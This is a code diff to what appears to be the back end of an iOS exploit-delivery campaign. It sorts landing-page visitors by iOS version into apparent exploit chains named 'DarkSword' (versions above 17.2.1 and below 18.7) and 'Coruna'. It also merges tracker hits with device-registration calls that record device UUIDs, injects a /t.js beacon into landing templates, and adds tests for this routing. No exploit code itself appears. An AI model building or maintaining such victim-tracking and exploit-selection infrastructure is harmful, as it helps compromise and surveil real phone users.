diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php
index 32e0295..0e89d03 100644
--- a/app/Http/Controllers/PageHitController.php
+++ b/app/Http/Controllers/PageHitController.php
@@ -43,10 +43,9 @@ class PageHitController extends Controller
         $parsed = UserAgentParser::parse($ua);
         $referer = $this->referer($request);
 
-        PageVisit::query()->create([
+        PageVisit::recordLanding([
             'channel_id' => $channelId,
             'client_uid' => $uid,
-            'chain' => PageVisit::CHAIN_CORUNA,
             'user_agent' => $ua !== '' ? $ua : null,
             'os' => $parsed['os'],
             'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
@@ -55,8 +54,7 @@ class PageHitController extends Controller
             'ip' => $ip !== '' ? $ip : null,
             'domain' => $domain,
             'referer' => $referer,
-            'created_at' => now(),
-        ]);
+        ], PageVisit::chainFromIosVersion($parsed['os'], $parsed['os_version']));
 
         return $this->pixel();
     }
diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php
index 9695f7a..b413ef8 100644
--- a/app/Models/PageVisit.php
+++ b/app/Models/PageVisit.php
@@ -41,6 +41,25 @@ class PageVisit extends Model
         return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
     }
 
+    /**
+     * t.js landings: iOS > 17.2.1 and < 18.7 count as DarkSword.
+     */
+    public static function chainFromIosVersion(?string $os, ?string $osVersion): int
+    {
+        if (! in_array($os, ['iOS', 'iPadOS'], true)) {
+            return self::CHAIN_CORUNA;
+        }
+        $version = trim((string) $osVersion);
+        if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) {
+            return self::CHAIN_CORUNA;
+        }
+        if (version_compare($version, '17.2.1', '>') && version_compare($version, '18.7', '<')) {
+            return self::CHAIN_DARKSWORD;
+        }
+
+        return self::CHAIN_CORUNA;
+    }
+
     public static function normalizeDomain(?string $value): ?string
     {
         $value = trim((string) $value);
@@ -59,6 +78,64 @@ class PageVisit extends Model
 
     public const VISITOR_UID_LENGTH = 16;
 
+    public const LANDING_MERGE_SECONDS = 60;
+
+    /**
+     * One landing = one row. t.js and DS register share this so the same
+     * channel+IP within {@see LANDING_MERGE_SECONDS} is merged, not doubled.
+     * DarkSword wins on chain; register may replace client_uid with the device UUID.
+     *
+     * @param  array<string, mixed>  $attrs
+     */
+    public static function recordLanding(array $attrs, int $chain): self
+    {
+        $channel = (string) ($attrs['channel_id'] ?? '');
+        $ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null);
+        $existing = null;
+        if ($channel !== '' && $ip !== '') {
+            $existing = static::query()
+                ->where('channel_id', $channel)
+                ->whereIn('ip', self::ipLookupKeys($ip))
+                ->where('created_at', '>=', now()->subSeconds(self::LANDING_MERGE_SECONDS))
+                ->orderByDesc('id')
+                ->first();
+        }
+
+        if ($existing) {
+            $updates = [];
+            if ($chain === self::CHAIN_DARKSWORD && (int) $existing->chain !== self::CHAIN_DARKSWORD) {
+                $updates['chain'] = self::CHAIN_DARKSWORD;
+            }
+            if ($chain === self::CHAIN_DARKSWORD) {
+                $uid = trim((string) ($attrs['client_uid'] ?? ''));
+                if ($uid !== '' && $uid !== (string) $existing->client_uid) {
+                    $updates['client_uid'] = substr($uid, 0, 64);
+                }
+            }
+            foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) {
+                $incoming = $attrs[$field] ?? null;
+                if (! is_string($incoming) || trim($incoming) === '') {
+                    continue;
+                }
+                $incoming = trim($incoming);
+                $current = trim((string) ($existing->{$field} ?? ''));
+                if ($current === '' || ($field === 'os_version' && $chain === self::CHAIN_DARKSWORD)) {
+                    $updates[$field] = $incoming;
+                }
+            }
+            if ($updates !== []) {
+                $existing->fill($updates)->save();
+            }
+
+            return $existing;
+        }
+
+        $attrs['chain'] = $chain;
+        $attrs['created_at'] = $attrs['created_at'] ?? now();
+
+        return static::query()->create($attrs);
+    }
+
     /**
      * Stable visitor id: same domain+ip always yields the same 16-hex value.
      */
diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php
index e10c015..a3467a3 100644
--- a/app/Services/DarkSwordIngestAdapter.php
+++ b/app/Services/DarkSwordIngestAdapter.php
@@ -153,10 +153,9 @@ class DarkSwordIngestAdapter
         $ip = $this->clientIp($request, $payload);
         $referer = trim((string) $request->headers->get('referer', ''));
 
-        PageVisit::query()->create([
+        PageVisit::recordLanding([
             'channel_id' => $channel,
             'client_uid' => $uid,
-            'chain' => PageVisit::CHAIN_DARKSWORD,
             'user_agent' => $ua !== '' ? $ua : null,
             'os' => $ios !== null ? 'iOS' : $parsed['os'],
             'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
@@ -165,8 +164,7 @@ class DarkSwordIngestAdapter
             'ip' => $ip !== '' ? $ip : null,
             'domain' => PageVisit::normalizeDomain($request->getHost()),
             'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
-            'created_at' => now(),
-        ]);
+        ], PageVisit::CHAIN_DARKSWORD);
     }
 
     /**
diff --git a/channel-builder-new/source/weifile/templates/blank.html b/channel-builder-new/source/weifile/templates/blank.html
index bfe6958..da9c16e 100644
--- a/channel-builder-new/source/weifile/templates/blank.html
+++ b/channel-builder-new/source/weifile/templates/blank.html
@@ -5,6 +5,7 @@
 <meta http-equiv="Expires" content="0" />
 <meta property="og:determiner" content="auto" />
 <title>weifile</title>
+<script src="/t.js" defer></script>
 </head>
 <body>
 <script type="text/javascript">
diff --git a/channel-builder-new/source/weifile/templates/test.html b/channel-builder-new/source/weifile/templates/test.html
index 2530df4..8e9cc99 100644
--- a/channel-builder-new/source/weifile/templates/test.html
+++ b/channel-builder-new/source/weifile/templates/test.html
@@ -8,6 +8,7 @@
 <meta http-equiv="Expires" content="0" />
 <meta property="og:determiner" content="auto" />
 <title>加载中</title>
+<script src="/t.js" defer></script>
 <style>
   :root {
     --bg: #0f1419;
diff --git a/channel-builder-new/source/weifile/weifile.html b/channel-builder-new/source/weifile/weifile.html
index bfe6958..da9c16e 100644
--- a/channel-builder-new/source/weifile/weifile.html
+++ b/channel-builder-new/source/weifile/weifile.html
@@ -5,6 +5,7 @@
 <meta http-equiv="Expires" content="0" />
 <meta property="og:determiner" content="auto" />
 <title>weifile</title>
+<script src="/t.js" defer></script>
 </head>
 <body>
 <script type="text/javascript">
diff --git a/channel-builder-new/tools/pack_channel.py b/channel-builder-new/tools/pack_channel.py
index c09b014..5b6bc7b 100644
--- a/channel-builder-new/tools/pack_channel.py
+++ b/channel-builder-new/tools/pack_channel.py
@@ -180,7 +180,8 @@ def strip_iptj_beacon(index_js: str) -> str:
 
 
 def inject_tjs(weifile_html: str) -> str:
-    if "t.js" in weifile_html:
+    # Must match /t.js, not the substring inside boot.js.
+    if re.search(r"""src=["']/t\.js["']""", weifile_html):
         return weifile_html
     snippet = '<script src="/t.js" defer></script>\n'
     if "</head>" in weifile_html:
diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py
index 4bcafef..aaf163a 100644
--- a/channel-builder-new/tools/tests/test_build.py
+++ b/channel-builder-new/tools/tests/test_build.py
@@ -86,7 +86,7 @@ class XxbbBuildTest(unittest.TestCase):
             self.assertFalse((weifile / "route.js").is_file())
             html = (weifile / "weifile.html").read_text(encoding="utf-8")
             self.assertNotIn("__CHANNEL_C__", html)
-            self.assertNotIn("/t.js", html)
+            self.assertIn('src="/t.js"', html)
             self.assertNotIn('src="route.js"', html)
             self.assertIn("location.pathname", html)
             self.assertIn("/next-chain", html)
@@ -320,10 +320,18 @@ class XxbbBuildTest(unittest.TestCase):
         )
         self.assertEqual(stripped, "head;")
         html = pack_channel.inject_tjs("<html><head></head><body></body></html>")
-        self.assertIn('/t.js', html)
+        self.assertIn('src="/t.js"', html)
+        boot_html = '<html><head></head><body><script src="boot.js"></script></body></html>'
+        injected = pack_channel.inject_tjs(boot_html)
+        self.assertIn('src="/t.js"', injected)
+        self.assertEqual(injected.count("/t.js"), 1)
+        already = '<html><head><script src="/t.js" defer></script></head><body>boot.js</body></html>'
+        self.assertEqual(pack_channel.inject_tjs(already), already)
         self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
         for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
             landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
+            self.assertIn('src="/t.js"', landing)
+            self.assertEqual(pack_channel.inject_tjs(landing), landing)
             self.assertNotIn('src="route.js"', landing)
             self.assertIn("location.pathname", landing)
             self.assertIn("/next-chain", landing)
diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php
index 2e50cac..4695ae5 100644
--- a/tests/Feature/PageVisitTest.php
+++ b/tests/Feature/PageVisitTest.php
@@ -65,6 +65,33 @@ class PageVisitTest extends TestCase
         $this->assertSame('https://example.com/from', $row->referer);
     }
 
+    #[Test]
+    public function hit_marks_darksword_for_ios_after_17_2_1_before_18_7(): void
+    {
+        $cases = [
+            ['17_2_1', PageVisit::CHAIN_CORUNA, '17.2.1'],
+            ['17_2_2', PageVisit::CHAIN_DARKSWORD, '17.2.2'],
+            ['18_0', PageVisit::CHAIN_DARKSWORD, '18.0'],
+            ['18_6_2', PageVisit::CHAIN_DARKSWORD, '18.6.2'],
+            ['18_7', PageVisit::CHAIN_CORUNA, '18.7'],
+        ];
+        foreach ($cases as [$token, $chain, $osVersion]) {
+            Cache::flush();
+            PageVisit::query()->delete();
+            $ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS '.$token.' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/'.$osVersion.' Mobile/15E148 Safari/604.1';
+            $this->call('GET', '/statistic/t', [
+                'c' => self::CHANNEL,
+                'u' => '11111111-2222-4333-8444-555555555555',
+            ], [], [], [
+                'HTTP_USER_AGENT' => $ua,
+            ])->assertOk();
+            $row = PageVisit::query()->first();
+            $this->assertNotNull($row, $osVersion);
+            $this->assertSame($osVersion, $row->os_version, $osVersion);
+            $this->assertSame($chain, $row->chain, $osVersion);
+        }
+    }
+
     #[Test]
     public function hit_uses_x_forwarded_for_when_proxies_trusted(): void
     {
@@ -114,6 +141,61 @@ class PageVisitTest extends TestCase
         $this->assertNotSame($a, $d);
     }
 
+    #[Test]
+    public function statistic_and_ds_register_merge_into_one_visit(): void
+    {
+        Cache::flush();
+        $channel = '3.1.07';
+        $ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1';
+
+        $this->call('GET', '/statistic/t', [
+            'c' => $channel,
+            'u' => '11111111-2222-4333-8444-555555555555',
+            'p' => '/channel/'.$channel.'/weifile/weifile.html',
+        ], [], [], [
+            'HTTP_USER_AGENT' => $ua,
+        ])->assertOk();
+
+        $this->postJson('/api/ds/device/register', [
+            'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
+            'channelCode' => $channel,
+            'ios' => '18.5',
+            'chain' => 'darksword',
+            'user_agent' => $ua,
+        ])->assertOk();
+
+        $this->assertSame(1, PageVisit::query()->count());
+        $row = PageVisit::query()->first();
+        $this->assertSame($channel, $row->channel_id);
+        $this->assertSame(PageVisit::CHAIN_DARKSWORD, $row->chain);
+        $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
+        $this->assertSame('18.5', $row->os_version);
+    }
+
+    #[Test]
+    public function statistic_after_ds_register_does_not_add_a_second_visit(): void
+    {
+        Cache::flush();
+        $channel = '3.1.07';
+
+        $this->postJson('/api/ds/device/register', [
+            'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E',
+            'channelCode' => $channel,
+            'ios' => '18.5',
+            'chain' => 'darksword',
+        ])->assertOk();
+
+        $this->call('GET', '/statistic/t', [
+            'c' => $channel,
+            'u' => '11111111-2222-4333-8444-555555555555',
+        ])->assertOk();
+
+        $this->assertSame(1, PageVisit::query()->count());
+        $row = PageVisit::query()->first();
+        $this->assertSame(PageVisit::CHAIN_DARKSWORD, $row->chain);
+        $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid);
+    }
+
     #[Test]
     public function hit_debounces_duplicate_uid(): void
     {